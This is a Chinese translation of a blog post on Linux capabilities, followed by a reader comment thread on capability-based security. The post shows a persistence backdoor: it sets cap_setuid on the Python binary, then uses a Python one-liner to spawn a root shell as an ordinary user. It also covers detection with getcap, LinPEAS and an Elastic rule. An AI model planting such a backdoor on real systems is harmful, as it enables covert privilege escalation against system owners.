Linux 能力(Capabilities)机制再探

致内核开发者的说明:能力(Capabilities)机制旨在将超级用户的权限拆分为若干部分,使得当某个拥有单一或多项能力的程序遭到入侵时,其对系统造成的破坏程度将小于该程序以root权限运行时的破坏力。 Capabilities(7) — Linux手册页

能力机制(Capabilities)是 Linux 中一种精细化的访问控制机制,相较于传统的超级用户(root)模型,它能实现更细粒度的权限控制。该机制将通常与 root 用户关联的特权拆分为独立单元,可针对不同进程单独启用或禁用。这使得特权管理更安全且可控。

例如,某个进程可能仅需绑定特权端口的权限,而无需其他提升权限。

元素周期表

能力(Capabilities)机制解析

要查看 Linux 主机支持的能力数量,可查询 /proc 目录下的 cap_last_cap 文件:

# cat /proc/sys/kernel/cap_last_cap

40

capsh --print 命令会显示当前 shell 或调用该命令的进程所拥有的能力及相关设置。在 Linux 主机上执行此命令时,可查看完整的能力列表。

# capsh --print

Current: =ep

Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore

每项能力对应特定的特权操作。

Python后门技术

setcap命令用于设置可执行文件的能力。cap_setuid能力允许进程任意操作用户ID(UID),包括设置受限值(如UID 0即root用户)。setcap 接受以下参数:

  • e:有效(表示能力被激活)
  • p:允许(表示能力可被使用/被许可)

综合上述,我们为 Python 二进制文件添加 cap_setuid 能力:

# setcap cap_setuid+ep /usr/bin/python3.12

支持的能力列表可在此处查阅:

# cat /usr/include/linux/capability.h

测试

为验证效果,我们创建新用户(malmoeb)并切换至该用户环境(useradd && su):

# useradd -m malmoeb

# su malmoeb

$ id

uid=1000(malmoeb) gid=1000(malmoeb) groups=1000(malmoeb)

通过以下命令行,我们将Python调用的bash shell用户ID设为0(UID 0 == root),从而成功生成root权限shell:

$ /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

# id

uid=0(root) gid=1000(malmoeb) groups=1000(malmoeb)

该技术令人振奋之处在于:我们既未设置二进制文件的suid位,也未修改Python二进制文件。仅通过设置能力,攻击者便能构建强大的后门。

漏洞追踪

传统上,系统管理员和安全专家主要关注SUID(设置用户ID)和SGID(设置组ID)文件,因这些文件在特定条件下可用于提升权限。然而随着POSIX权限机制的引入,如上所述,追踪具有权限设置的文件同样重要。

通过命令getcap -r可枚举所有启用能力的二进制文件:

# getcap -r / 2>/dev/null

/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep

/usr/bin/mtr-packet cap_net_raw=ep

/usr/bin/ping cap_net_raw=ep

/usr/bin/python3.12 cap_setuid=ep

在/proc目录中:

# cat /proc/1143966/status | grep Cap

其中:

  • CapInh = 继承能力
  • CapPrm = 允许能力
  • CapEff = 有效能力
  • CapBnd = 边界集
  • CapAmb = 环境能力集

使用命令 capsh 可解码能力信息:

# capsh --decode=0000000000000080

0x0000000000000080=cap_setuid

或通过命令 getpcaps 并传入进程ID作为参数:

# getpcaps 1143966

Capabilities for `1143966': = cap_setuid+ep

使用 setcap -r 从二进制文件移除能力

# setcap -r /usr/bin/python3.12

LinPeas

LinPEAS——即 Linux权限提升超级脚本——同样会执行检测以发现(有价值的)能力。以下命令直接摘自相关 脚本中的命令:

  • 当前shell能力:cat “/proc/$$/status”
  • 父进程能力:cat “/proc/$PPID/status”
  • 含能力文件:getcap -r / 2>/dev/null

除检测suid文件外,LinPEAS在此处对搜索前述(隐藏)能力表现尤为出色。

Elastic规则:通过setcap工具设置进程能力集

Elastic规则“检测使用setcap工具为进程设置能力的情况”。完整描述详见此处

process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and

process.name == "setcap" and not (

  process.parent.executable == null or

  process.parent.executable : ("/var/lib/dpkg/*", "/var/lib/docker/*", "/tmp/newroot/*", "/var/tmp/newroot/*") or

  process.parent.name in ("jem", "vzctl")

)

security.capability

扩展权限(如通过setfacl设置的访问控制列表(ACL)及通过setcap设置的能力标志)与传统权限位及通过chmod配置的setuid/setgid标志存储于同一位置:文件的inode。

ls命令不会显示由setcap设置的能力标志。要查看这些标志,请使用getcap。若需列出所有扩展属性,可使用getfattr -d -m -setcap使用的属性是security.capability,其存储为二进制格式,而getcap能为您便捷地解码该格式。

# getfattr -d -m - /usr/bin/python3.12 

getfattr: Removing leading '/' from absolute path names

    # file: usr/bin/python3.12

security.capability=0sAQAAAoAAAAAAAAAAAAAAAAAAAAA=

结论

尽管传统 SUID/SGID 检查依然重要,现代安全实践必须包含对特定能力设置文件的追踪。能力机制提供更精细且可能隐蔽的权限授予方式,若缺乏监控将引发重大安全风险。使用 getcap 等工具递归扫描文件系统中的能力设置,是确保全面安全审计并消除潜在攻击向量的关键措施。

本文未涉及存储于etc/security/capability.conf配置文件的用户能力,以及可指定AmbientCapabilities服务文件。后续章节将推荐两份深入探讨该主题的优质资源。

参考资料

若需深入研究此主题,推荐访问以下两个网站:

本文文字及图片出自 Linux Capabilities Revisited

共有 35 条评论

  1. 我认为Linux对能力机制的处理令人失望,甚至远未达到真正的基于能力的安全系统标准。

    例如,你可以向程序传递绑定 任意 特权端口的能力,却无法指定具体端口。对于这种场景,直接传递绑定该端口的文件描述符(fd)实际上更简单安全。至于其他能力机制,它们的粒度也过于粗糙。

    能力默认隐式继承的设计在安全性上也存在缺陷。虽然这可能是出于向后兼容的考虑,但我认为能力应当显式传递,且支持进程间转移。实际上,将文件描述符作为能力句柄使用,或许才是更清晰明确的方案。

    • 文件描述符访问文件正是Linux遵循能力模型的典型场景。值得注意的是,该机制作为Linux API的一部分,至今未被证实存在显著攻击漏洞。

    • 这误解了该功能的初衷。该功能的初衷并非从零构建“基于权限的系统”(相关工作可参考LSM/selinux/apparmor),而是将“setuid传统应用场景”拆解为更精细的权限单元。

      setuid二进制文件本就存在,此方案旨在不修改API的前提下大幅提升其安全性。

    • 若这些能力不以FILE*/fd这类对象形式传递,它们甚至算不上真正的能力,仅是(闪闪发光的)精细化环境权限(需明确的是,这种权限仍有价值)。

  2. 共享的全局命名空间最终会严重阻碍构建完善的基于能力的系统。要建立合理的运作机制,必须采用基于操作集的命名空间,并建立能力继承层次——子进程只能继承父进程拥有的能力。正如封装使程序抽象更易理解,这种嵌套能力层次也便于分析系统各部分的特权。而当前混乱的局面中,无人能清晰厘清权限归属关系。

    • 需注意这仅是细分 root 权限的一组标志位,虽较之前有所改进,但远非真正的基于能力的安全机制

      https://en.wikipedia.org/wiki/Capability-based_security

      (如AS/400或iAPX 432系统中,“能力”代表关联特权的系统对象引用)。这种机制完全可移植到POSIX类系统中

      https://en.wikipedia.org/wiki/Capsicum_(Unix)

      这让我想起高中时使用搭载VMS操作系统的VAX-11/730主机,当时进程可拥有的权限列表冗长

      https://hunter.goatley.com/vax-professional-articles/vax-pro

      当时流行玩这样的游戏:探索“若同时拥有A、B、C特权,就能获取SETPRV权限并接管整台机器”的途径

      • 真正能力机制的最大优势在于规避“困惑代理人问题”。这类系统通过将操作行为与执行理由永久绑定来实现: 因此,代表A和B行事的代理人,不会误用B的权限执行A的操作。

        但Linux的“能力机制”并未解决此问题。只要拥有权限,就能执行操作——即便操作动机(满足A请求所需)与权限来源动机(执行B任务所需)存在矛盾。

      • macOS与iOS基于mach内核的安全研究中存在高度相似的流程。研究者会寻找易于权限提升的开放mach端口。

      • 通过SeL4和CHERI技术可实现大部分目标。

    • Linux能力机制与传统基于对象能力的安保概念关联甚微。

      其更接近苹果权限体系,但通过进程分叉继承而非绑定至二进制文件。

    • 即便粒度不够精细,OpenBSD的权限体系设计仍堪称典范。

      其次我支持FreeBSD的capsicum方案。

      • OpenBSD的权限机制简洁易用,真希望Linux能采纳。Seccomp的实现简直是噩梦。

        • 与其采用seccomp、selinux和apparmor这类复杂到近乎发烧的方案,我宁愿选择简单粗放的机制。那些几乎达到图灵完备的语言实现简直是自掘深坑的陷阱,只会让你陷入万丈深渊。

          我敢说,99% 的用例中,Pledge 的简单性就足够用了,而且它很容易集成到现有代码中。

        • 有一个移植版本…

              https://github.com/jart/pledge
          
              https://justine.lol/pledge/
          
          • 这个底层使用seccomp且需要定制libc吧?

            确实是个好项目,但我不确定是否会在生产环境中使用。

      • 我不同意。Pledge要求每个应用主动选择加入安全机制。这意味着多数应用不会采用,而采用的应用很可能偷懒,仅限制其原有功能使用范围,不会重新设计架构。

        • 难道因为工具不会被百分之百地正确使用,我们就该放弃提供基础强化工具?安全圈这种思维模式必须改变。

          若重要基础软件想实现自我加固,看看其他评论里那些繁琐复杂的“解决方案”就知道了。若想阻碍该领域进步,这正是设计方案应有的模样。我并非指责恶意,但这种思维无疑源于无休止的吹毛求疵和“不够好,没覆盖<小众场景>”的偏执。

          编辑:

          > 而那些付诸行动的开发者很可能只是偷懒

          我持相反观点:任何愿意花时间在代码中添加安全调用的开发者,多半是重视安全并希望改进的人。若真想偷懒,大可干脆不实现安全机制——毕竟它会妨碍开发且限制太多。

          • 问题不在于不该提供该功能,而在于当OpenBSD的安全性远落后于行业标准时,投入资源开发毫无意义。程序能在用户毫不知情的情况下窃取.ssh密钥是不可接受的。不仅如此,程序还能记录键盘操作、拍摄屏幕画面,甚至远程控制你的计算机。

            • 我怀疑你根本无法监控我通过SSH或串口远程连接的OpenBSD服务器。

              更别说在没有摄像头的情况下拍摄我的画面——即便装了摄像头,你看到的也只会是闪烁的LED灯和一堆线缆。

              即使我将OpenSSH对公众开放,我也极度怀疑你能实现远程控制。

              或许你们行业根本不在乎OpenBSD社区关注的安全问题。

              编辑:遗漏了SSH密钥窃取风险。我的密钥始终处于加密状态。

              • Bash别名和PATH环境变量缺乏保护,恶意软件可将ssh替换为其他命令,进而窃取加密密码解密密钥。

        • SELinux等工具允许管理员在程序运行前设置限制,如同护栏般防护。

          pledge()则让开发者能在运行时动态加固程序,更像是防御性驾驶。

          两者都是实用的技术手段。

        • 虽然使用场景有限,但某些应用确实需要。例如允许封装任意应用的工具https://wiki.alpinelinux.org/wiki/Bubblewrap

        • 关键在于它更有效。像pledge/unveil这样的简易API能让应用在无需大量投入的情况下显著提升安全等级。

          而像SELinux这类复杂的外部系统最终往往被闲置,因为它们既复杂又独立(因此可以被直接忽略)。

          • > 而像SELinux这类复杂的外部系统最终往往被闲置,因为它们既复杂又独立(因此可以被直接忽略)。

            你什么意思?它在Android系统中应用非常广泛啊

            • 没错,因为他们有工程师团队专门维护。他们负担得起。

              我从未见过常规服务器使用SELinux。天啊,AWS上的Amazon Linux AMI默认甚至禁用了它。

              是是是,个人经验之谈罢了。

          • >它效果更好

            并非如此。恶意软件仍可下载,应用甚至能加密锁定整个系统。当然,如果恶意软件像Pledge那样阻止文件打开——但哪有恶意软件会这么做?

    • 我认为无法像你描述那样将新机制硬塞进现有内核(就像Linux添加能力机制那样)。必须从底层重新设计。我记得读过某些实验性操作系统在探索这种设计能力,类似于进程层面的第一类虚拟机监控程序。

    • > 其中子进程只能获得父进程拥有的能力

      能力机制的实用性恰恰在于它不必遵循这条规则。

      若程序无法从创建者之外的来源获取能力,不如直接将程序名加入访问控制列表(ACL)更有效。

    • 需注意命名空间本质上就是能力机制。

  3. 我对精细化访问控制列表(ACL)的一个顾虑在于,它们可能无意中增加安全风险——因为有时这些更精细的控制措施会被利用来获取额外权限。

    如果我授予某个对象root权限,我清楚这意味着什么且会格外谨慎。但如果我以为授予权限X很安全,结果它却能被用来获取权限Y甚至root权限,那么我就可能意外暴露风险。

    细粒度权限需要防范的攻击面更大,必须确保每个细粒度权限都不会被如此利用。

    • 无论采用细粒度还是粗粒度权限,这都是个挑战。

      粗粒度权限需要依赖代理机制——这虽能自由实现业务逻辑,却也带来巨大负担:既要编写代理代码,又要维护客户端调用协议,后续还需持续维护扩展。

      无论哪种方式都需进行审计和静态分析以查找权限提升途径,而精细化权限下的分析难度更大——但并非不可克服。

      因此我认为精细化权限更胜一筹。

      我已实现(并正争取发表论文许可)一种融合RBAC式与SMACK式标记安全(采用人类可读的字符串标记而非MLS式的位图+等级)的应用层授权方案,其运行速度极快,若有人需要也可在内核中实现。该系统通过使用大量独立标签(精细粒度)或少量标签(粗放粒度)标记应用程序(或内核)对象,实现任意粒度的授权控制。

    • 实现该功能需Linux具备集中化权限管理机制。通过审查(或比较)文件即可立即掌握变更内容,无需遍历各处访问控制列表。

      采用传统Unix /etc/group样式。

      • Linux能力机制在Linux安全模块(LSM)系统中设有钩子,因此可编写LSM模块实现任意集中化管理系统。

        我熟悉的LSM仅限SELinux,其能力直接作为SELinux权限存在。推测多数通用LSM实现原理相近。

        我设想过基于UID/GID分配能力的LSM策略,但目前尚未发现实际应用此机制的LSM实现。

  4. 非常有趣,感谢分享。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注


京ICP备12002735号